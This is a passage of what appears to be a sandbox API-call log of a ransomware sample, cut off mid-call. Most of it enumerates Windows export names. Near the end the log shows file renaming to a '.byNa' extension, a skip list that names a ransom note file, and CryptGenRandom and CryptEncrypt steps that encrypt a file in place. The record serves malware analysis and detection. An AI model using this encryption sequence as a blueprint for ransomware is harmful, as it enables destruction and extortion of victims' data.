[0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0120.178] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0120.178] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0120.178] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0120.178] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0120.178] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0120.179] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0120.179] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0120.179] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0120.179] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0120.179] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0120.179] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0120.179] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0120.179] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0120.179] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0120.179] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0120.179] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0120.179] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0120.179] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0120.179] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0120.179] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0120.179] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0120.179] lstrlenA (lpString="COPYCONTEXT") returned 11 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0120.179] lstrlenA (lpString="COPYFILE2") returned 9 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0120.179] lstrlenA (lpString="COPYFILEA") returned 9 [0120.179] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0120.180] lstrlenA (lpString="COPYFILEEXA") returned 11 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0120.180] lstrlenA (lpString="COPYFILEEXW") returned 11 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0120.180] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0120.180] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0120.180] lstrlenA (lpString="COPYFILEW") returned 9 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0120.180] lstrlenA (lpString="COPYLZFILE") returned 10 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0120.180] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0120.180] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0120.180] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0120.180] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0120.180] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0120.180] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0120.180] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0120.180] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0120.180] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0120.180] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0120.180] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0120.180] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0120.180] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0120.180] lstrlenA (lpString="CREATEEVENTA") returned 12 [0120.180] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0120.180] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0120.181] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0120.181] lstrlenA (lpString="CREATEEVENTW") returned 12 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0120.181] lstrlenA (lpString="CREATEFIBER") returned 11 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0120.181] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0120.181] lstrlenA (lpString="CREATEFILE2") returned 11 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0120.181] lstrlenA (lpString="CREATEFILEA") returned 11 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0120.181] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0120.181] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0120.181] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0120.181] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0120.181] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0120.181] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0120.181] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0120.181] lstrlenA (lpString="CREATEFILEW") returned 11 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0120.181] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0120.181] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0120.181] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0120.181] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0120.181] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0120.181] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0120.181] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0120.182] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0120.182] lstrlenA (lpString="CREATEJOBSET") returned 12 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0120.182] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0120.182] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0120.182] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0120.182] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0120.182] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0120.182] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0120.182] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0120.182] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0120.182] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0120.182] lstrlenA (lpString="CREATEPIPE") returned 10 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0120.182] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0120.182] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0120.182] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0120.182] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0120.182] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0120.182] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0120.182] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0120.182] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0120.183] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0120.183] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0120.183] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0120.183] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0120.183] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0120.183] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0120.183] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0120.183] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0120.183] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0120.183] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0120.183] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0120.183] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0120.183] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0120.183] lstrlenA (lpString="CREATETHREAD") returned 12 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0120.183] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0120.183] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0120.183] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0120.183] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0120.183] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0120.184] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0120.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0120.184] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0120.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0120.184] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0120.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0120.184] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.byNa") returned 49 [0120.184] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.byNa" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.byna"), dwFlags=0x0) returned 1 [0120.185] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.185] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.185] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.186] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0120.186] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0120.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\") returned 27 [0120.186] lstrlenW (lpString="SetupResources.dll") returned 18 [0120.186] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1032\\" | out: lpString1="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0120.186] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" [0120.186] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0120.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0120.186] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=19288) returned 1 [0120.186] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0120.186] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0120.355] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0120.355] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0120.355] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0120.356] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0120.356] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0120.356] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.356] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0120.357] CloseHandle (hObject=0x5f8) returned 1 [0120.357] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.357] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0120.358] CloseHandle (hObject=0x0) returned 0 [0120.358] CloseHandle (hObject=0x5f4) returned 1 [0120.359] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.359] VirtualFree (lpAddress=0x2d10000, 